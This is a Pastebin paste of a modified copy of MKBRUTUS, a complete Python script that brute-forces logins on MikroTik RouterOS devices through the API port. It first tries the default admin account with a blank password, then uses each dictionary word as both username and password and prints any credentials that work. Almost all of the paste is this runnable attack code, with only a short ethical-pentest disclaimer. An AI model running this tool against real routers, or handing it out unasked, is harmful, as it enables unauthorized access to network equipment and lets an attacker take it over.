Advertisement
Guest User

MkBrutus-Modif-UiiCyberGuard

a guest
Mar 18th, 2016
705
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.04 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. #modified, username = password
  5. #python3 ./mkbrutus.py -t 192.168.1.2 -d our_dictionary
  6.  
  7.  
  8. #=======================================================================================================================
  9. #
  10. # MKBRUTUS.py v1.0.2 - Password bruteforcer for MikroTik devices or boxes running RouterOS
  11. #
  12. # AUTHORS:
  13. # Ramiro Caire - email: ramiro.caire@gmail.com / Twitter: @rcaire
  14. # Federico Massa - email: fgmassa@vanguardsec.com / Twitter: @fgmassa
  15. #
  16. # WEB SITE:
  17. # http://mkbrutusproject.github.io/MKBRUTUS/
  18. # https://github.com/mkbrutusproject/mkbrutus
  19. #
  20. # SUMMARY:
  21. # Some boxes running Mikrotik RouterOS (3.x or newer) have the API port enabled (by default, in the port 8728/TCP)
  22. # for administrative purposes instead SSH, Winbox or HTTPS (or have all of them). This is (another) attack vector as it
  23. # might be possible to perform a bruteforce to obtain valid credentials if no protection is available on that port.
  24. # As the API uses a specific privative protocol, some code published by the vendor was included.
  25. # Python 3.x is required in order to run this tool.
  26. #
  27. # DISCLAIMER:
  28. # This tool is intended only for testing Mikrotik devices security in ethical pentest or audits process.
  29. # The authors are not responsible for any damages you use this tool.
  30. #
  31. # MKBRUTUS is free software: you can redistribute it and/or modify
  32. # it under the terms of the GNU Affero General Public License as published by
  33. # the Free Software Foundation, either version 3 of the License, or
  34. # (at your option) any later version.
  35. #
  36. # MKBRUTUS is distributed in the hope that it will be useful,
  37. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  38. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  39. # GNU General Affero Public License for more details.
  40. #
  41. # You should have received a copy of the GNU Affero General Public License
  42. # along with this program. If not, see <http://www.gnu.org/licenses/>.
  43. #=======================================================================================================================
  44.  
  45. #Check for Python3
  46. import sys
  47. if sys.version_info < (3, 0):
  48. sys.stdout.write("Sorry, Python 3.x is required to run this tool\n")
  49. sys.exit(2)
  50.  
  51. import binascii
  52. import getopt
  53. import hashlib
  54. import select
  55. import socket
  56. import time
  57. import signal
  58. import codecs
  59.  
  60.  
  61. banner=(''' _ _ _ _ _____ ____ _ _ ____ _ _ _____
  62. | \/ || | / /| ___ \ ___ \ | | |_ _| | | / ___|
  63. | . . || |/ / | |_/ / |_/ / | | | | | | | | \ `--.
  64. | |\/| || \ | ___ \ /| | | | | | | | | |`--. \\
  65. | | | || |\ \| |_/ / |\ \| |_| | | | | |_| /\__/ /
  66. \_| |_/\_| \_/\____/\_| \_|\___/ \_/ \___/\____/
  67.  
  68. Mikrotik RouterOS Bruteforce Tool 1.0.2
  69. Ramiro Caire (@rcaire) & Federico Massa (@fgmassa)
  70. http://mkbrutusproject.github.io/MKBRUTUS
  71. ''')
  72.  
  73. def usage():
  74. print('''
  75. NAME
  76. \t MKBRUTUS.py - Password bruteforcer for MikroTik devices or boxes running RouterOS\n
  77. USAGE
  78. \t python mkbrutus.py [-t] [-p] [-u] [-d] [-s] [-q]\n
  79. OPTIONS
  80. \t -t, --target \t\t RouterOS target
  81. \t -p, --port \t\t RouterOS port (default 8728)
  82. \t -u, --user \t\t User name (default admin)
  83. \t -h, --help \t\t This help
  84. \t -d, --dictionary \t Password dictionary
  85. \t -s, --seconds \t\t Delay seconds between retry attempts (default 1)
  86. \t -q, --quiet \t\t Quiet mode
  87. ''')
  88.  
  89.  
  90. def error(err):
  91. print(err)
  92. print("Try 'mkbrutus.py -h' or 'mkbrutus.py --help' for more information.")
  93.  
  94.  
  95. def signal_handler(signal, frame):
  96. print(" Aborted by user. Exiting... ")
  97. sys.exit(2)
  98.  
  99.  
  100. class ApiRos:
  101. '''Modified class from official RouterOS API'''
  102. def __init__(self, sk):
  103. self.sk = sk
  104. self.currenttag = 0
  105.  
  106. def login(self, username, pwd):
  107. for repl, attrs in self.talk(["/login"]):
  108. chal = binascii.unhexlify((attrs['=ret']).encode('UTF-8'))
  109. md = hashlib.md5()
  110. md.update(b'\x00')
  111. md.update(pwd.encode('UTF-8'))
  112. md.update(chal)
  113. output = self.talk(["/login", "=name=" + username, "=response=00" + binascii.hexlify(md.digest()).decode('UTF-8')])
  114. return output
  115.  
  116. def talk(self, words):
  117. if self.writeSentence(words) == 0: return
  118. r = []
  119. while 1:
  120. i = self.readSentence();
  121. if len(i) == 0: continue
  122. reply = i[0]
  123. attrs = {}
  124. for w in i[1:]:
  125. j = w.find('=', 1)
  126. if (j == -1):
  127. attrs[w] = ''
  128. else:
  129. attrs[w[:j]] = w[j+1:]
  130. r.append((reply, attrs))
  131. if reply == '!done': return r
  132.  
  133. def writeSentence(self, words):
  134. ret = 0
  135. for w in words:
  136. self.writeWord(w)
  137. ret += 1
  138. self.writeWord('')
  139. return ret
  140.  
  141. def readSentence(self):
  142. r = []
  143. while 1:
  144. w = self.readWord()
  145. if w == '': return r
  146. r.append(w)
  147.  
  148. def writeWord(self, w):
  149. self.writeLen(len(w))
  150. self.writeStr(w)
  151.  
  152. def readWord(self):
  153. ret = self.readStr(self.readLen())
  154. return ret
  155.  
  156. def writeLen(self, l):
  157. if l < 0x80:
  158. self.writeStr(chr(l))
  159. elif l < 0x4000:
  160. l |= 0x8000
  161. self.writeStr(chr((l >> 8) & 0xFF))
  162. self.writeStr(chr(l & 0xFF))
  163. elif l < 0x200000:
  164. l |= 0xC00000
  165. self.writeStr(chr((l >> 16) & 0xFF))
  166. self.writeStr(chr((l >> 8) & 0xFF))
  167. self.writeStr(chr(l & 0xFF))
  168. elif l < 0x10000000:
  169. l |= 0xE0000000
  170. self.writeStr(chr((l >> 24) & 0xFF))
  171. self.writeStr(chr((l >> 16) & 0xFF))
  172. self.writeStr(chr((l >> 8) & 0xFF))
  173. self.writeStr(chr(l & 0xFF))
  174. else:
  175. self.writeStr(chr(0xF0))
  176. self.writeStr(chr((l >> 24) & 0xFF))
  177. self.writeStr(chr((l >> 16) & 0xFF))
  178. self.writeStr(chr((l >> 8) & 0xFF))
  179. self.writeStr(chr(l & 0xFF))
  180.  
  181. def readLen(self):
  182. c = ord(self.readStr(1))
  183. if (c & 0x80) == 0x00:
  184. pass
  185. elif (c & 0xC0) == 0x80:
  186. c &= ~0xC0
  187. c <<= 8
  188. c += ord(self.readStr(1))
  189. elif (c & 0xE0) == 0xC0:
  190. c &= ~0xE0
  191. c <<= 8
  192. c += ord(self.readStr(1))
  193. c <<= 8
  194. c += ord(self.readStr(1))
  195. elif (c & 0xF0) == 0xE0:
  196. c &= ~0xF0
  197. c <<= 8
  198. c += ord(self.readStr(1))
  199. c <<= 8
  200. c += ord(self.readStr(1))
  201. c <<= 8
  202. c += ord(self.readStr(1))
  203. elif (c & 0xF8) == 0xF0:
  204. c = ord(self.readStr(1))
  205. c <<= 8
  206. c += ord(self.readStr(1))
  207. c <<= 8
  208. c += ord(self.readStr(1))
  209. c <<= 8
  210. c += ord(self.readStr(1))
  211. return c
  212.  
  213. def writeStr(self, str):
  214. n = 0;
  215. while n < len(str):
  216. r = self.sk.send(bytes(str[n:], 'UTF-8'))
  217. if r == 0: raise RuntimeError("Connection closed by remote end")
  218. n += r
  219.  
  220. def readStr(self, length):
  221. ret = ''
  222. while len(ret) < length:
  223. s = self.sk.recv(length - len(ret))
  224. if s == '': raise RuntimeError("Connection closed by remote end")
  225. ret += s.decode('UTF-8', 'replace')
  226. return ret
  227.  
  228. def run(pwd_num):
  229. run_time = "%.1f" % (time.time() - t)
  230. status = "Elapsed Time: %s sec | Passwords Tried: %s" % (run_time, pwd_num)
  231. bar = "_"*len(status)
  232. print(bar)
  233. print(status + "\n")
  234.  
  235. def main():
  236. print(banner)
  237. try:
  238. opts, args = getopt.getopt(sys.argv[1:], "ht:p:u:d:s:q", ["help", "target=", "port=", "user=", "dictionary=", "seconds=", "quiet"])
  239. except getopt.GetoptError as err:
  240. error(err)
  241. sys.exit(2)
  242.  
  243. if not opts:
  244. error("ERROR: You must specify at least a Target and a Dictionary")
  245. sys.exit(2)
  246.  
  247. target = None
  248. port = None
  249. user = None
  250. dictionary = None
  251. quietmode = False
  252. seconds = None
  253.  
  254. for opt, arg in opts:
  255. if opt in ("-h", "--help"):
  256. usage()
  257. sys.exit(0)
  258. elif opt in ("-t", "--target"):
  259. target = arg
  260. elif opt in ("-p", "--port"):
  261. port = arg
  262. elif opt in ("-u", "--user"):
  263. user = arg
  264. elif opt in ("-d", "--dictionary"):
  265. dictionary = arg
  266. elif opt in ("-s", "--seconds"):
  267. seconds = arg
  268. elif opt in ("-q", "--quiet"):
  269. quietmode = True
  270. else:
  271. assert False, "error"
  272. sys.exit(2)
  273.  
  274. if not target:
  275. error("ERROR: You must specify a Target")
  276. sys.exit(2)
  277. if not dictionary:
  278. error("ERROR: You must specify a Dictionary")
  279. sys.exit(2)
  280. if not port:
  281. port = 8728
  282. if not user:
  283. user = 'admin'
  284. if not seconds:
  285. seconds = 1
  286.  
  287. print("[*] Starting bruteforce attack...")
  288. print("-" * 33)
  289.  
  290. # Catch KeyboardInterrupt
  291. signal.signal(signal.SIGINT, signal_handler)
  292.  
  293. # Looking for default RouterOS creds
  294. defcredcheck = True
  295.  
  296. # Get the number of lines in file
  297. count = 0
  298. dictFile = codecs.open(dictionary,'rb', encoding='utf-8', errors='ignore')
  299. while 1:
  300. buffer = dictFile.read(8192*1024)
  301. if not buffer: break
  302. count += buffer.count('\n')
  303. dictFile.seek(0)
  304.  
  305. items = 1
  306. for password in dictFile.readlines():
  307. password = password.strip('\n\r ')
  308. s = None
  309. for res in socket.getaddrinfo(target, port, socket.AF_UNSPEC, socket.SOCK_STREAM):
  310. af, socktype, proto, canonname, sa = res
  311. try:
  312. s = socket.socket(af, socktype, proto)
  313. # Timeout threshold = 5 secs
  314. s.settimeout(5)
  315. except (socket.error):
  316. s = None
  317. continue
  318. try:
  319. s.connect(sa)
  320. except (socket.timeout):
  321. print("[-] Target timed out! Exiting...")
  322. s.close()
  323. sys.exit(1)
  324. except (socket.error):
  325. print("[-] SOCKET ERROR! Check Target (IP or PORT parameters). Exiting...")
  326. s.close()
  327. sys.exit(1)
  328. dictFile.close( )
  329. apiros = ApiRos(s)
  330.  
  331. # First of all, we'll try with RouterOS default credentials ("admin":"")
  332. while defcredcheck:
  333. defaultcreds = apiros.login("admin", "")
  334. login = ''.join(defaultcreds[0][0])
  335.  
  336. print("[-] Trying with default credentials on RouterOS...")
  337. print()
  338.  
  339. if login == "!done":
  340. print ("[+] Login successful!!! Default RouterOS credentials were not changed. Log in with admin:<BLANK>")
  341. sys.exit(0)
  342. else:
  343. print("[-] Default RouterOS credentials were unsuccessful, trying with " + str(count) + " passwords in list...")
  344. print("")
  345. defcredcheck = False
  346. time.sleep(1)
  347. user = password
  348. loginoutput = apiros.login(user, password)
  349. login = ''.join(loginoutput[0][0])
  350.  
  351. if not quietmode:
  352. print("[-] Trying " + str(items) + " of " + str(count) + " Paswords - Current: " + password +" user: "+user)
  353.  
  354. if login == "!done":
  355. print("[+] Login successful!!! User: " + user + " Password: " + password)
  356. run(items)
  357. return
  358. items +=1
  359. time.sleep(int(seconds))
  360.  
  361. print("[*] ATTACK FINISHED! No suitable credentials were found. Try again with a different wordlist.")
  362. run(count)
  363.  
  364.  
  365. if __name__ == '__main__':
  366. t = time.time()
  367. main()
  368. sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement